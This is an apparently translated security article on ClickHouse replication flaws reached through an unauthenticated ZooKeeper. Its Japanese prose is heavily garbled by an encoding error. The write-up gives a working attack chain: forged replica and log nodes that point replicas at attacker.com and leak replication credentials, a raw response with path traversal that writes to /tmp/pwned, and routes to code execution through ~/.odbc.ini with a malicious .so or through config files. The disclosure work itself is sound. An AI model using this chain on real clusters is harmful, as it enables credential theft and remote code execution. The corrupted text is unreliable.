ãã®èšäºã§ã¯ãClickHouse ã¬ããªã±ãŒã·ã§ã³ ãããã³ã«ã®éåžžã«ç¹æ®ãªè匱æ§ã«ã€ããŠèª¬æããæ»æ察象é åãã©ã®ããã«æ¡å€§ããããã«ã€ããŠã説æããŸãã
ClickHouse ã¯ã倧éã®ããŒã¿ãä¿åããããã®ããŒã¿ããŒã¹ã§ãããå€ãã®å Žåãè€æ°ã®ã¬ããªã«ã䜿çšãããŸãã ClickHouse ã®ã¯ã©ã¹ã¿ãªã³ã°ãšã¬ããªã±ãŒã·ã§ã³ã¯ãã®äžã«æ§ç¯ãããŸã
ããã©ã«ãã® ZK ã€ã³ã¹ããŒã«ã§ã¯èªèšŒã¯å¿ èŠãªããããKafkaãHadoopãClickHouse ã®æ§æã«äœ¿çšãããæ°åã® ZK ãµãŒããŒãå ¬éãããŠããŸãã
æ»æ察象é åãæžããã«ã¯ãZooKeeper ãã€ã³ã¹ããŒã«ãããšãã«åžžã«èªèšŒãšèªå¯ãæ§æããå¿ èŠããããŸãã
ãã¡ããããŒãã〠ããŒã¹ã® Java ãã·ãªã¢ã©ã€ãŒãŒã·ã§ã³ãããã€ããããŸãããæ»æè ã ClickHouse ã¬ããªã±ãŒã·ã§ã³ã«äœ¿çšããã ZooKeeper ã«å¯ŸããŠèªã¿æžãã§ãããšæ³åããŠãã ããã
ã¯ã©ã¹ã¿ãŒ ã¢ãŒãã§æ§æãããŠããå ŽåãClickHouse ã¯åæ£ã¯ãšãªããµããŒãããŸã /clickhouse/task_queue/ddl
.
ããšãã°ãããŒããäœæãããšã /clickhouse/task_queue/ddl/query-0001
å
容:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
ãã®åŸããã¹ã ããŒãã«ã¯ã¯ã©ã¹ã¿ ãµãŒã㌠host1 ããã³ host2 äžã§åé€ãããŸãã DDL ã¯ãCREATE/ALTER/DROP ã¯ãšãªã®å®è¡ããµããŒãããŠããŸãã
æããšæããŸãããïŒ ããããæ»æè ã¯ã©ããããµãŒããŒã¢ãã¬ã¹ãå ¥æã§ããã®ã§ãããã?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
ããŒããäœæãããŸã ã³ã©ã О .
ã³ã³ãã³ã /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
ãã®ã¯ã©ã¹ã¿ãŒã®ããŒã¿ãããŒãžããããšã¯ã§ããŸãã? ã¯ããã¬ããªã±ãŒã·ã§ã³ ããŒã (TCP/9009
) ãµãŒããŒäž chXX-address
ãã¡ã€ã¢ãŠã©ãŒã«ã¯éãããããã¬ããªã±ãŒã·ã§ã³ã®èªèšŒã¯æ§æãããŸããã èªèšŒãåé¿ããã«ã¯ã©ãããã°ããã§ãã?
æ»æè
ã¯ãZK ããã³ã³ãã³ããã³ããŒããã ãã§ãZK ã«æ°ããã¬ããªã«ãäœæã§ããŸãã /clickhouse/tables/01-01/foobar/replicas/chXX
ãããŠæå³ãå€ãã host
.
ã³ã³ãã³ã /clickhouse/tables/01â01/foobar/ã¬ããªã«/æ»æè /ãã¹ã:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
次ã«ãæ»æè
ã®ãµãŒããŒäžã«ååŸããå¿
èŠãããæ°ããããŒã¿ ãããã¯ãããããšãä»ã®ã¬ããªã«ã«äŒããå¿
èŠããããŸããZK ã«ããŒããäœæãããŸãã /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX å調å¢å ã«ãŠã³ã¿ãããã¯ã€ãã³ã ãã°ã®æåŸã®ã«ãŠã³ã¿ãã倧ãããªããã°ãªããŸãã):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
ã©ã ãœãŒã¹ã¬ããªã« â åã®ã¹ãããã§äœæãããæ»æè
ã®ã¬ããªã«ã®ååã ãããã¯ID â ããŒã¿ãããã¯èå¥åã ååŸãã - ããããã¯ãååŸãã³ãã³ã (ããã³
次ã«ãåã¬ããªã«ã¯ãã°å
ã®æ°ããã€ãã³ããèªã¿åããæ»æè
ãå¶åŸ¡ãããµãŒããŒã«ç§»åããŠããŒã¿ ãããã¯ãåä¿¡ããŸã (ã¬ããªã±ãŒã·ã§ã³ ãããã³ã«ã¯ãã€ããªã§ãHTTP äžã§å®è¡ãããŸã)ã ãµãŒã attacker.com
ãªã¯ãšã¹ããåãåããŸã:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
XXX ã¯ã¬ããªã±ãŒã·ã§ã³çšã®èªèšŒããŒã¿ã§ãã å Žåã«ãã£ãŠã¯ãããã¯ã¡ã€ã³ã® ClickHouse ãããã³ã«ããã³ HTTP ãããã³ã«ãä»ããŠããŒã¿ããŒã¹ã«ã¢ã¯ã»ã¹ã§ããã¢ã«ãŠã³ãã§ããå¯èœæ§ããããŸãã ãããŸã§èŠãŠããããã«ãã¬ããªã±ãŒã·ã§ã³ã«äœ¿çšããã ZooKeeper ãèªèšŒãæ§æããªããŸãŸã«ãªã£ãŠãããããæ»æ察象é åãéåžžã«å€§ãããªããŸãã
ã¬ããªã«ããããŒã¿ã®ãããã¯ãååŸããé¢æ°ãèŠãŠã¿ãŸãããããã®é¢æ°ã¯ããã¹ãŠã®ã¬ããªã«ãé©åã«å¶åŸ¡ãããŠãããã¬ããªã«éã«ä¿¡é Œãããããšãå®å šã«ç¢ºä¿¡ããŠæžãããŠããŸãã
ã¬ããªã±ãŒã·ã§ã³åŠçã³ãŒã
ãã®é¢æ°ã¯ããã¡ã€ã«ã®ãªã¹ããèªã¿åãããã®ååããµã€ãºãå 容ãèªã¿åãããã¡ã€ã« ã·ã¹ãã ã«æžã蟌ã¿ãŸãã ããŒã¿ããã¡ã€ã« ã·ã¹ãã ã«ã©ã®ããã«ä¿åããããã«ã€ããŠã¯ãå¥é説æãã䟡å€ããããŸãã
ã«ã¯ããã€ãã®ãµããã£ã¬ã¯ããªããããŸã /var/lib/clickhouse
(èšå®ãã¡ã€ã«ããã®ããã©ã«ãã®ä¿åãã£ã¬ã¯ããª):
ãã©ã° - é²é³çšãã£ã¬ã¯ããª
TMP â äžæãã¡ã€ã«ãä¿åãããã£ã¬ã¯ããªã
ãŠãŒã¶ãŒãã¡ã€ã« â ãªã¯ãšã¹ãå
ã®ãã¡ã€ã«ã®æäœã¯ããã®ãã£ã¬ã¯ã㪠(INTO OUTFILE ãªã©) ã«éå®ãããŸãã
â ããŒãã«ã®èª¬æãå«ã SQL ãã¡ã€ã«ã
ååŠçãããæ§æ - ãã掟çæ§æãã¡ã€ã«ãåŠçããŸãã /etc/clickhouse-server
;
ããŒã¿ - ããŒã¿èªäœãå«ãŸããå®éã®ãã£ã¬ã¯ããªããã®å ŽåãããŒã¿ããŒã¹ããšã«åå¥ã®ãµããã£ã¬ã¯ããªãããã«åçŽã«äœæãããŸãïŒããšãã°ã /var/lib/clickhouse/data/default
).
ããŒãã«ããšã«ãããŒã¿ããŒã¹ ãã£ã¬ã¯ããªã«ãµããã£ã¬ã¯ããªãäœæãããŸãã ååã¯ã次ã®å
容ã«å¿ããŠå¥åã®ãã¡ã€ã«ã«ãªããŸãã
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
ã¬ããªã«ã¯ãããŒã¿ã®ãããã¯ãåŠçãããšãã«åãååã®ãã¡ã€ã«ãåä¿¡ããããšãæåŸ ããŠããããããã®ãã¡ã€ã«ããããªãæ¹æ³ã§ãæ€èšŒããŸããã
泚ææ·±ãèªè
ã¯ãããããé¢æ°å
ã§ã® file_name ã®å®å
šã§ãªãé£çµã«ã€ããŠãã§ã«èããããšãããã§ãããã WriteBufferFromFile
ã ã¯ããããã«ãããæ»æè
ã¯ãŠãŒã¶ãŒæš©éã䜿çšã㊠FS äžã®ä»»æã®ãã¡ã€ã«ã«ä»»æã®ã³ã³ãã³ããæžã蟌ãããšãã§ããŸãã clickhouse
ã ãããè¡ãã«ã¯ãæ»æè
ãå¶åŸ¡ããã¬ããªã«ã¯ãªã¯ãšã¹ãã«å¯ŸããŠæ¬¡ã®å¿çãè¿ãå¿
èŠããããŸã (ç解ããããããã«æ¹è¡ãè¿œå ãããŠããŸã)ã
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
ãããŠé£çµåŸ ../../../../../../../../../tmp/pwned
ãã¡ã€ã«ãæžã蟌ãŸããŸã /tmp/pwned å
容ãã ããã«ã¡ã¯ã飌è²å¡ãã.
ãã¡ã€ã«æžã蟌ã¿æ©èœããªã¢ãŒã ã³ãŒãå®è¡ (RCE) ã«å€ããããã®ãªãã·ã§ã³ãããã€ããããŸãã
RCE ã®å€éšèŸæž
å€ãããŒãžã§ã³ã§ã¯ãClickHouse èšå®ãå«ãŸãããã£ã¬ã¯ããªã¯ãŠãŒã¶ãŒæš©éã§ä¿åãããŠããŸããã ã¯ãªãã¯ããŠã¹ ããã©ã«ãã èšå®ãã¡ã€ã«ã¯ããµãŒãã¹ãèµ·åæã«èªã¿åã£ãŠãã£ãã·ã¥ã«ä¿åãã XML ãã¡ã€ã«ã§ãã /var/lib/clickhouse/preprocessed_configs
ã å€æŽãçºçãããšãå€æŽãå床èªã¿åãããŸãã ã«ã¢ã¯ã»ã¹ã§ããå Žåã¯ã /etc/clickhouse-server
æ»æè
ã¯ç¬èªã®ãã®ãäœæã§ãã root
.
ODBCããRCEãžã®ãã¡ã€ã«å€æ
ããã±ãŒãžãã€ã³ã¹ããŒã«ãããšãŠãŒã¶ãŒãäœæãããŸã clickhouse
ããã ãããã®ããŒã ãã£ã¬ã¯ããªã¯äœæãããŸãã /nonexistent
ã ãã ããå€éšèŸæžã䜿çšããå ŽåããŸãã¯ãã®ä»ã®çç±ã§ã管çè
ã¯ãã£ã¬ã¯ããªãäœæããŸãã /nonexistent
ãããŠãŠãŒã¶ãŒã«äžãã clickhouse
æžã蟌ã¿ã¢ã¯ã»ã¹ (SSZB! çŽã 翻蚳è
).
ã¯ãªãã¯ããŠã¹ã®ãµããŒã odbc-bridge
, ãã®ããããªã¯ãšã¹ããããã©ã€ããŒã®ãã¹ãæå®ããããšã¯ã§ããªããªããŸããã ããããæ»æè
ã¯äžèšã®è匱æ§ãå©çšããŠããŒã ãã£ã¬ã¯ããªã«æžã蟌ãããšãã§ããã®ã§ãããã?
ãã¡ã€ã«ãäœæããŸããã ~/.odbc.ini
次ã®ãããªå
容ã§:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
ãã®åŸèµ·åæã« SELECT * FROM odbc('DSN=lalala', 'test', 'test');
ã©ã€ãã©ãªãããŒããããŸã test.so
ãããŠRCEãåãåããŸããïŒããããšã
ãããããã³ãã®ä»ã®è匱æ§ã¯ãClickHouse ããŒãžã§ã³ 19.14.3 ã§ä¿®æ£ãããŸããã ClickHouse ãš ZooKeepers ã倧äºã«ããŠãã ãã!
åºæïŒ habr.com